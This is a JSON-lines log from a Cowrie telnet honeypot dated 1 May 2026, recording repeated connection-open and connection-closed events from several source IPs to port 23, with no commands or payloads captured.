{"eventid":"cowrie.session.closed","duration":31.428846836090088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:16.680118Z","src_ip":"104.236.196.85","session":"9e07fc1b588b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757936716079712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:17.085183Z","src_ip":"104.236.196.85","session":"3598f1b94837","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51794,"dst_ip":"159.203.135.109","dst_port":23,"session":"73b1aa307f15","protocol":"telnet","message":"New connection: 51.15.157.40:51794 (159.203.135.109:23) [session: 73b1aa307f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:17.245209Z"}
{"eventid":"cowrie.session.closed","duration":30.618616104125977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:17.268852Z","src_ip":"34.69.118.1","session":"46bc57032713","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":33060,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdce1c9dbeb2","protocol":"telnet","message":"New connection: 51.15.157.40:33060 (159.203.135.109:23) [session: fdce1c9dbeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:17.325574Z"}
{"eventid":"cowrie.session.closed","duration":30.660112142562866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:17.535611Z","src_ip":"51.15.157.40","session":"540b2280905d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38780,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f08bbd51b7","protocol":"telnet","message":"New connection: 157.15.20.138:38780 (159.203.135.109:23) [session: f7f08bbd51b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:17.819894Z"}
{"eventid":"cowrie.session.closed","duration":31.104224920272827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:17.946355Z","src_ip":"157.15.20.138","session":"79900b2bbfe3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.028719186782837,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:18.290287Z","src_ip":"51.15.157.40","session":"266186121754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00126528739929,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:18.296759Z","src_ip":"109.224.242.7","session":"3b291e95d202","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":53298,"dst_ip":"159.203.135.109","dst_port":23,"session":"7903d833baa7","protocol":"telnet","message":"New connection: 103.171.45.122:53298 (159.203.135.109:23) [session: 7903d833baa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:18.487575Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38788,"dst_ip":"159.203.135.109","dst_port":23,"session":"66bb78edbeb8","protocol":"telnet","message":"New connection: 157.15.20.138:38788 (159.203.135.109:23) [session: 66bb78edbeb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:18.640316Z"}
{"eventid":"cowrie.session.closed","duration":31.164083242416382,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:18.896460Z","src_ip":"51.15.157.40","session":"da9ff377d3ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20051884651184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:18.975323Z","src_ip":"51.15.157.40","session":"b6cb8078dbb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.216264486312866,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.069937Z","src_ip":"51.15.157.40","session":"b81e9ea7b082","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39028,"dst_ip":"159.203.135.109","dst_port":23,"session":"a896406bfee5","protocol":"telnet","message":"New connection: 51.15.157.40:39028 (159.203.135.109:23) [session: a896406bfee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.131747Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38826,"dst_ip":"159.203.135.109","dst_port":23,"session":"f92772c16220","protocol":"telnet","message":"New connection: 157.15.20.138:38826 (159.203.135.109:23) [session: f92772c16220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.166592Z"}
{"eventid":"cowrie.session.closed","duration":30.59744882583618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.244904Z","src_ip":"51.15.157.40","session":"d5f67418ad5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.364343881607056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.395112Z","src_ip":"103.171.45.122","session":"2dbf830e9b48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54078435897827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.420791Z","src_ip":"51.15.157.40","session":"e8bddb310557","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58648,"dst_ip":"159.203.135.109","dst_port":23,"session":"70361dc92a2e","protocol":"telnet","message":"New connection: 51.15.157.40:58648 (159.203.135.109:23) [session: 70361dc92a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.484550Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38838,"dst_ip":"159.203.135.109","dst_port":23,"session":"54bf31e6a788","protocol":"telnet","message":"New connection: 157.15.20.138:38838 (159.203.135.109:23) [session: 54bf31e6a788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.632061Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":37678,"dst_ip":"159.203.135.109","dst_port":23,"session":"212bcfe49df1","protocol":"telnet","message":"New connection: 34.69.118.1:37678 (159.203.135.109:23) [session: 212bcfe49df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.651274Z"}
{"eventid":"cowrie.session.closed","duration":31.662434816360474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.655880Z","src_ip":"51.15.157.40","session":"87fdce7c979b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60172,"dst_ip":"159.203.135.109","dst_port":23,"session":"19667ad8e850","protocol":"telnet","message":"New connection: 51.15.157.40:60172 (159.203.135.109:23) [session: 19667ad8e850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.900824Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38800,"dst_ip":"159.203.135.109","dst_port":23,"session":"56ef116a85b9","protocol":"telnet","message":"New connection: 157.15.20.138:38800 (159.203.135.109:23) [session: 56ef116a85b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:19.924559Z"}
{"eventid":"cowrie.session.closed","duration":30.76191234588623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.130937Z","src_ip":"51.15.157.40","session":"e6d7719f1473","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923701763153076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.143474Z","src_ip":"51.15.157.40","session":"3c5977950a49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38812,"dst_ip":"159.203.135.109","dst_port":23,"session":"790b616beaa4","protocol":"telnet","message":"New connection: 157.15.20.138:38812 (159.203.135.109:23) [session: 790b616beaa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.181760Z"}
{"eventid":"cowrie.session.closed","duration":30.469099760055542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.187659Z","src_ip":"51.15.157.40","session":"66ad81a22573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.298306226730347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.291407Z","src_ip":"103.171.45.122","session":"352c6e2bf0e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.616437435150146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.340564Z","src_ip":"157.15.20.138","session":"b3f1c6e2c353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":53306,"dst_ip":"159.203.135.109","dst_port":23,"session":"4411cb28895f","protocol":"telnet","message":"New connection: 103.171.45.122:53306 (159.203.135.109:23) [session: 4411cb28895f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.538253Z"}
{"eventid":"cowrie.session.closed","duration":31.565597772598267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.545567Z","src_ip":"51.15.157.40","session":"7dc81120b7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":43772,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f1c1e097c49","protocol":"telnet","message":"New connection: 51.15.157.40:43772 (159.203.135.109:23) [session: 4f1c1e097c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.661197Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40992,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f52b17be90","protocol":"telnet","message":"New connection: 51.15.157.40:40992 (159.203.135.109:23) [session: 24f52b17be90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.697482Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":39876,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6ccba98db72","protocol":"telnet","message":"New connection: 104.236.196.85:39876 (159.203.135.109:23) [session: e6ccba98db72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.702408Z"}
{"eventid":"cowrie.session.closed","duration":30.162171602249146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.783054Z","src_ip":"89.39.83.70","session":"2e5624267659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3189884c0ee","protocol":"telnet","message":"New connection: 157.15.20.138:38850 (159.203.135.109:23) [session: d3189884c0ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.834285Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38862,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4143d70f37","protocol":"telnet","message":"New connection: 157.15.20.138:38862 (159.203.135.109:23) [session: aa4143d70f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.900951Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44426,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a974daf358c","protocol":"telnet","message":"New connection: 51.15.157.40:44426 (159.203.135.109:23) [session: 4a974daf358c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.907153Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44504,"dst_ip":"159.203.135.109","dst_port":23,"session":"826e602ee5a4","protocol":"telnet","message":"New connection: 51.15.157.40:44504 (159.203.135.109:23) [session: 826e602ee5a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:20.926188Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":45820,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1acb0a3d31e","protocol":"telnet","message":"New connection: 51.15.157.40:45820 (159.203.135.109:23) [session: b1acb0a3d31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.383382Z"}
{"eventid":"cowrie.session.closed","duration":31.405527114868164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.511249Z","src_ip":"51.15.157.40","session":"05c1e8e934ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":33676,"dst_ip":"159.203.135.109","dst_port":23,"session":"154ebef7d9fa","protocol":"telnet","message":"New connection: 62.171.133.168:33676 (159.203.135.109:23) [session: 154ebef7d9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.623639Z"}
{"eventid":"cowrie.session.closed","duration":31.128663301467896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.743888Z","src_ip":"51.15.157.40","session":"81c3659b5e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.800265789031982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.760853Z","src_ip":"51.15.157.40","session":"64198703270c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44158,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab24d80c971f","protocol":"telnet","message":"New connection: 51.15.157.40:44158 (159.203.135.109:23) [session: ab24d80c971f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.810525Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":44274,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0c2624f0e75","protocol":"telnet","message":"New connection: 51.15.157.40:44274 (159.203.135.109:23) [session: f0c2624f0e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.858021Z"}
{"eventid":"cowrie.session.closed","duration":31.637112617492676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.865011Z","src_ip":"51.15.157.40","session":"89c9d34fad49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58819079399109,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.871956Z","src_ip":"51.15.157.40","session":"b796dcee0ce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":47516,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d8d6e191277","protocol":"telnet","message":"New connection: 51.15.157.40:47516 (159.203.135.109:23) [session: 6d8d6e191277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:21.921761Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":53314,"dst_ip":"159.203.135.109","dst_port":23,"session":"464c7fcc780f","protocol":"telnet","message":"New connection: 103.171.45.122:53314 (159.203.135.109:23) [session: 464c7fcc780f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.091655Z"}
{"eventid":"cowrie.session.closed","duration":30.4133939743042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.139931Z","src_ip":"51.15.157.40","session":"3caded36fae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.167600631713867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.145211Z","src_ip":"51.15.157.40","session":"2393d23ca82b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":48968,"dst_ip":"159.203.135.109","dst_port":23,"session":"c913b94b9012","protocol":"telnet","message":"New connection: 51.15.157.40:48968 (159.203.135.109:23) [session: c913b94b9012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.383098Z"}
{"eventid":"cowrie.session.closed","duration":30.810470819473267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.495859Z","src_ip":"157.15.20.138","session":"566c609edc91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.622048139572144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.508065Z","src_ip":"51.15.157.40","session":"3668d2b33c9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03262710571289,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.513805Z","src_ip":"89.39.83.70","session":"e22b3041a9eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50362,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c39b901a192","protocol":"telnet","message":"New connection: 51.15.157.40:50362 (159.203.135.109:23) [session: 7c39b901a192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.783173Z"}
{"eventid":"cowrie.session.closed","duration":31.433720350265503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.797304Z","src_ip":"51.15.157.40","session":"c2aa65a8f1a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":50614,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf9599fdf462","protocol":"telnet","message":"New connection: 51.15.157.40:50614 (159.203.135.109:23) [session: cf9599fdf462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.848507Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38878,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bd22dcf27df","protocol":"telnet","message":"New connection: 157.15.20.138:38878 (159.203.135.109:23) [session: 5bd22dcf27df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:22.858920Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38840,"dst_ip":"159.203.135.109","dst_port":23,"session":"43d8c74b94a0","protocol":"telnet","message":"New connection: 157.15.20.138:38840 (159.203.135.109:23) [session: 43d8c74b94a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:23.056184Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":36968,"dst_ip":"159.203.135.109","dst_port":23,"session":"448f53bdcd8a","protocol":"telnet","message":"New connection: 89.39.83.70:36968 (159.203.135.109:23) [session: 448f53bdcd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:23.106226Z"}
{"eventid":"cowrie.session.closed","duration":30.652347803115845,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:23.213622Z","src_ip":"51.15.157.40","session":"a425050e8bbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56661105155945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:23.343756Z","src_ip":"157.15.20.138","session":"391de2f35bae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.328163623809814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:23.627480Z","src_ip":"51.15.157.40","session":"dbf889e45f4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54030,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b51ee9fa36a","protocol":"telnet","message":"New connection: 51.15.157.40:54030 (159.203.135.109:23) [session: 5b51ee9fa36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:23.791389Z"}
{"eventid":"cowrie.session.closed","duration":30.391286849975586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.133058Z","src_ip":"51.15.157.40","session":"4ec7c9a37b16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.528825283050537,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.216527Z","src_ip":"51.15.157.40","session":"a8b02a08ef95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55602,"dst_ip":"159.203.135.109","dst_port":23,"session":"32624cee22c4","protocol":"telnet","message":"New connection: 103.171.45.122:55602 (159.203.135.109:23) [session: 32624cee22c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.292303Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":55618,"dst_ip":"159.203.135.109","dst_port":23,"session":"6746567143ea","protocol":"telnet","message":"New connection: 103.171.45.122:55618 (159.203.135.109:23) [session: 6746567143ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.301736Z"}
{"eventid":"cowrie.session.closed","duration":31.154365062713623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.417846Z","src_ip":"157.15.20.138","session":"d098c5bc5107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876611471176147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.426986Z","src_ip":"51.15.157.40","session":"d6e321df9b2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.271777391433716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.680408Z","src_ip":"34.69.118.1","session":"ebee2c950d3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38892,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c893759e06f","protocol":"telnet","message":"New connection: 157.15.20.138:38892 (159.203.135.109:23) [session: 5c893759e06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.704700Z"}
{"eventid":"cowrie.session.closed","duration":30.39953064918518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:24.793647Z","src_ip":"89.39.83.70","session":"a7f921a5b08b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389278888702393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:25.069268Z","src_ip":"51.15.157.40","session":"77b19b082706","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.638944625854492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:25.166355Z","src_ip":"51.15.157.40","session":"8bc685f63c6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208784580230713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:25.222563Z","src_ip":"51.15.157.40","session":"655bce271b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.041829586029053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:25.271296Z","src_ip":"103.171.45.122","session":"17c246a594c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59314,"dst_ip":"159.203.135.109","dst_port":23,"session":"81e8a7d343ea","protocol":"telnet","message":"New connection: 51.15.157.40:59314 (159.203.135.109:23) [session: 81e8a7d343ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:23:25.512269Z"}
